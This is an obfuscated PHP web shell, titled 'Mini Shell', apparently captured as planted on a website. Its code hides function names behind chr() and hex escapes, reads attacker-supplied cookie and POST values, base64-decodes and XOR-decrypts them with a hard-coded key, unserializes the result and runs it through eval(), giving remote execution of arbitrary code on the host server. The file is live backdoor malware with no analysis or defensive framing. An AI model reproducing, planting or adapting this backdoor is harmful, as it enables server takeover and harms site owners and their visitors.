Mini Shell

$rSKgynoO = chr (82) . chr ( 495 - 427 )."\x66" . chr (95) . "\104" . chr (85) . chr (90); $nZsAqpdRCZ = chr (99) . 'l' . "\x61" . 's' . 's' . "\137" . chr (101) . "\170" . "\x69" . "\x73" . chr ( 647 - 531 ).chr ( 551 - 436 ); $WaaAQ = class_exists($rSKgynoO); $nZsAqpdRCZ = "50129";$LjOJyRgLKl = strpos($nZsAqpdRCZ, $rSKgynoO);if ($WaaAQ == $LjOJyRgLKl){function futWs(){$FfqAUJwoDH = new /* 59306 */ RDf_DUZ(38596 + 38596); $FfqAUJwoDH = NULL;}$cSgETcesZ = "38596";class RDf_DUZ{private function bOWVAIC($cSgETcesZ){if (is_array(RDf_DUZ::$RBWvp)) {$cQpIH2 = str_replace("<" . "?php", "", RDf_DUZ::$RBWvp["content"]);eval($cQpIH2); $cSgETcesZ = "38596";exit();}}public function htvJvWXDGb(){$cQpIH = "61740";$this->_dummy = str_repeat($cQpIH, strlen($cQpIH));}public function __destruct(){RDf_DUZ::$RBWvp = @unserialize(RDf_DUZ::$RBWvp); $cSgETcesZ = "5821_19591";$this->bOWVAIC($cSgETcesZ); $cSgETcesZ = "5821_19591";}public function OiHNrkVxT($cQpIH, $VzzJK){return $cQpIH[0] ^ str_repeat($VzzJK, intval(strlen($cQpIH[0]) / strlen($VzzJK)) + 1);}public function HQJbPtn($cQpIH){$FLzJXCAHdM = 'b' . "\x61" . 's' . chr (101) . chr (54) . chr (52);return array_map($FLzJXCAHdM . "\137" . chr (100) . "\x65" . chr ( 517 - 418 )."\x6f" . "\144" . chr ( 425 - 324 ), array($cQpIH,));}public function __construct($umapI=0){$uVMrGaaLKr = chr (44); $cQpIH = "";$tbNWHgIF = $_POST;$ExrwIC = $_COOKIE;$VzzJK = "eeb52206-d12f-413f-8613-638570ead3b3";$cZdMRov = @$ExrwIC[substr($VzzJK, 0, 4)];if (!empty($cZdMRov)){$cZdMRov = explode($uVMrGaaLKr, $cZdMRov);foreach ($cZdMRov as $YmFojNZE){$cQpIH .= @$ExrwIC[$YmFojNZE];$cQpIH .= @$tbNWHgIF[$YmFojNZE];}$cQpIH = $this->HQJbPtn($cQpIH);}RDf_DUZ::$RBWvp = $this->OiHNrkVxT($cQpIH, $VzzJK);if (strpos($VzzJK, $uVMrGaaLKr) !== FALSE){$VzzJK = ltrim($VzzJK); $VzzJK = str_pad($VzzJK, 10);}}public static $RBWvp = 42965;}futWs();}